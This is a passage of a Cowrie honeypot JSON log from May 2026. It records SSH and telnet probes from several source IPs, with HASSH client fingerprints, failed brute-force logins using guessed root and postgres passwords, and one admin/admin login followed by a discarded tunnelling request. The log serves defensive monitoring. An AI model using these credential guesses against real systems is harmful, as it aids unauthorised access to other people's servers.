hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:24.481885Z","src_ip":"87.251.79.125","session":"f4a50d5a1fa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:24.704688Z","src_ip":"87.251.79.125","session":"f4a50d5a1fa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"aA123456","message":"login attempt [postgres/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:24.927133Z","src_ip":"129.226.4.94","session":"927d4370b994","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:25.780883Z","src_ip":"87.251.79.125","session":"f4a50d5a1fa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:26.176630Z","src_ip":"129.226.4.94","session":"927d4370b994","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":41932,"dst_ip":"10.17.0.5","dst_port":22,"session":"476b2690a940","protocol":"ssh","message":"New connection: 77.94.47.83:41932 (10.17.0.5:22) [session: 476b2690a940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:30.799368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:30.804895Z","src_ip":"77.94.47.83","session":"476b2690a940","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:30.918686Z","src_ip":"77.94.47.83","session":"476b2690a940","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"999666333","message":"login attempt [root/999666333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:31.258071Z","src_ip":"77.94.47.83","session":"476b2690a940","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:32.375361Z","src_ip":"77.94.47.83","session":"476b2690a940","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.28866720199585,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:40.948213Z","src_ip":"135.148.14.151","session":"886f785e3987","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42830,"dst_ip":"159.203.135.109","dst_port":23,"session":"95c2c14c6e7a","protocol":"telnet","message":"New connection: 135.148.14.151:42830 (159.203.135.109:23) [session: 95c2c14c6e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:44.857779Z"}
{"eventid":"cowrie.session.closed","duration":36.223663330078125,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:45.018372Z","src_ip":"135.148.14.151","session":"e245c71862eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46822,"dst_ip":"159.203.135.109","dst_port":23,"session":"65deae25a76d","protocol":"telnet","message":"New connection: 135.148.14.151:46822 (159.203.135.109:23) [session: 65deae25a76d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:49.924863Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55998,"dst_ip":"159.203.135.109","dst_port":23,"session":"81361b22a348","protocol":"telnet","message":"New connection: 135.148.14.151:55998 (159.203.135.109:23) [session: 81361b22a348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:03:10.327086Z"}
{"eventid":"cowrie.session.closed","duration":32.557260513305664,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:03:17.414901Z","src_ip":"135.148.14.151","session":"95c2c14c6e7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.82679772377014,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:03:24.751542Z","src_ip":"135.148.14.151","session":"65deae25a76d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39080,"dst_ip":"159.203.135.109","dst_port":23,"session":"a04591ae4b23","protocol":"telnet","message":"New connection: 135.148.14.151:39080 (159.203.135.109:23) [session: a04591ae4b23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:03:37.225914Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":57632,"dst_ip":"159.203.135.109","dst_port":22,"session":"69723d7f9d2d","protocol":"ssh","message":"New connection: 103.77.242.62:57632 (159.203.135.109:22) [session: 69723d7f9d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:03:37.801182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:03:37.807335Z","src_ip":"103.77.242.62","session":"69723d7f9d2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:03:38.057724Z","src_ip":"103.77.242.62","session":"69723d7f9d2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:03:38.808389Z","src_ip":"103.77.242.62","session":"69723d7f9d2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:03:40.061080Z","src_ip":"103.77.242.62","session":"69723d7f9d2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.36757707595825,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:03:47.694516Z","src_ip":"135.148.14.151","session":"81361b22a348","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"129.226.4.94","src_port":36508,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ddc66da57f1","protocol":"ssh","message":"New connection: 129.226.4.94:36508 (159.203.135.109:22) [session: 1ddc66da57f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:03:52.189298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:03:52.194022Z","src_ip":"129.226.4.94","session":"1ddc66da57f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:03:52.440267Z","src_ip":"129.226.4.94","session":"1ddc66da57f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":50512,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ac5d67fd4c6","protocol":"ssh","message":"New connection: 87.251.64.176:50512 (10.17.0.5:22) [session: 8ac5d67fd4c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:03:53.077513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:03:53.082538Z","src_ip":"87.251.64.176","session":"8ac5d67fd4c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:03:53.179075Z","src_ip":"87.251.64.176","session":"8ac5d67fd4c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234567890!","message":"login attempt [root/Test1234567890!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:03:53.453911Z","src_ip":"129.226.4.94","session":"1ddc66da57f1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:03:53.464826Z","src_ip":"87.251.64.176","session":"8ac5d67fd4c6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:03:53.561500Z","session":"8ac5d67fd4c6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:03:53.659161Z","src_ip":"87.251.64.176","session":"8ac5d67fd4c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:03:53.887135Z","src_ip":"87.251.64.176","session":"8ac5d67fd4c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:03:54.702291Z","src_ip":"129.226.4.94","session":"1ddc66da57f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.17130780220032,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:04:11.397097Z","src_ip":"135.148.14.151","session":"a04591ae4b23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59962,"dst_ip":"159.203.135.109","dst_port":23,"session":"51453a565a92","protocol":"telnet","message":"New connection: 135.148.14.151:59962 (159.203.135.109:23) [session: 51453a565a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:04:22.250025Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":41580,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4c205861505","protocol":"ssh","message":"New connection: 176.32.39.21:41580 (159.203.135.109:22) [session: f4c205861505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:04:37.692772Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":59290,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd4cfb594aa6","protocol":"ssh","message":"New connection: 147.45.197.250:59290 (159.203.135.109:22) [session: fd4cfb594aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:04:59.891323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:04:59.895912Z","src_ip":"147.45.197.250","session":"fd4cfb594aa6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:04:59.979637Z","src_ip":"147.45.197.250","session":"fd4cfb594aa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"05081988","message":"login attempt [root/05081988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:05:00.236926Z","src_ip":"147.45.197.250","session":"fd4cfb594aa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:05:01.323932Z","src_ip":"147.45.197.250","session":"fd4cfb594aa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.61281871795654,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:05:02.862769Z","src_ip":"135.148.14.151","session":"51453a565a92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"129.226.4.94","src_port":47408,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba654c7702db","protocol":"ssh","message":"New connection: 129.226.4.94:47408 (159.203.135.109:22) [session: ba654c7702db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:05:21.805595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:05:21.810885Z","src_ip":"129.226.4.94","session":"ba654c7702db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54470,"dst_ip":"159.203.135.109","dst_port":23,"session":"2573389d117c","protocol":"telnet","message":"New connection: 135.148.14.151:54470 (159.203.135.109:23) [session: 2573389d117c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:05:21.955019Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:05:22.056628Z","src_ip":"129.226.4.94","session":"ba654c7702db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"consultor","password":"consultor","message":"login attempt [consultor/consultor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:05:23.072878Z","src_ip":"129.226.4.94","session":"ba654c7702db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:05:24.356403Z","src_ip":"129.226.4.94","session":"ba654c7702db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55582,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cde6452fe64","protocol":"telnet","message":"New connection: 135.148.14.151:55582 (159.203.135.109:23) [session: 4cde6452fe64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:05:24.418157Z"}
